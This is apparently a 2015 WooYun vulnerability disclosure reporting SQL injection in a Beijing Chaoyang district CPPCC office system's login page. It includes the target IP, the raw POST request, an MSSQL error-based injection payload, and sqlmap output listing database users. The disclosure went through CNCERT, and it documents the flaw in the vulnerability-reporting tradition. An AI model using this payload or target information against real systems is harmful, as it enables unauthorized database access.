当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108740

漏洞标题:朝阳政协内部办公系统注入

相关厂商:朝阳政协内部办公系统

漏洞作者: 路人甲

提交时间:2015-04-23 11:45

修复时间:2015-06-11 09:24

公开时间:2015-06-11 09:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-23: 细节已通知厂商并且等待厂商处理中
2015-04-27: 厂商已经确认,细节仅向厂商公开
2015-05-07: 细节向核心白帽子及相关领域专家公开
2015-05-17: 细节向普通白帽子公开
2015-05-27: 细节向实习白帽子公开
2015-06-11: 细节向公众公开

简要描述:

朝阳政协内部办公系统注入

详细说明:

http://202.108.124.146/login.asp
存在post 注入
POST /login.asp HTTP/1.1
Host: 202.108.124.146
Proxy-Connection: keep-alive
Content-Length: 42
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://202.108.124.146
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://202.108.124.146/login.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ASPSESSIONIDASTSTSTR=HKCNEDJAOHPJKJIDFKMHCICG
user_id=a&user_pwd=a&b1=%B5%C7%C2%BC

漏洞证明:

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:06:32
[00:06:32] [INFO] parsing HTTP request from 'pp.txt'
[00:06:32] [INFO] resuming back-end DBMS 'microsoft sql server'
[00:06:32] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: user_id
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: user_id=a' AND 3147=CONVERT(INT,(SELECT CHAR(113)+CHAR(110)+CHAR(11
6)+CHAR(97)+CHAR(113)+(SELECT (CASE WHEN (3147=3147) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(122)+CHAR(121)+CHAR(118)+CHAR(113))) AND 'CqSL'='CqSL&user
_pwd=a&b1=%B5%C7%C2%BC
---
[00:06:32] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Apache
back-end DBMS: Microsoft SQL Server 2000
[00:06:32] [INFO] fetching database users
[00:06:34] [INFO] heuristics detected web page charset 'GB2312'
[00:06:34] [INFO] the SQL query used returns 3 entries
[00:06:34] [INFO] retrieved: sa
[00:06:35] [INFO] retrieved: zxoa
database management system users [3]:
[*] sa
[*] zxoa
[00:06:35] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times

修复方案:

。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-04-27 09:23

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向国家中心上报,由其后续协调网站管理单位处置。

最新状态:

暂无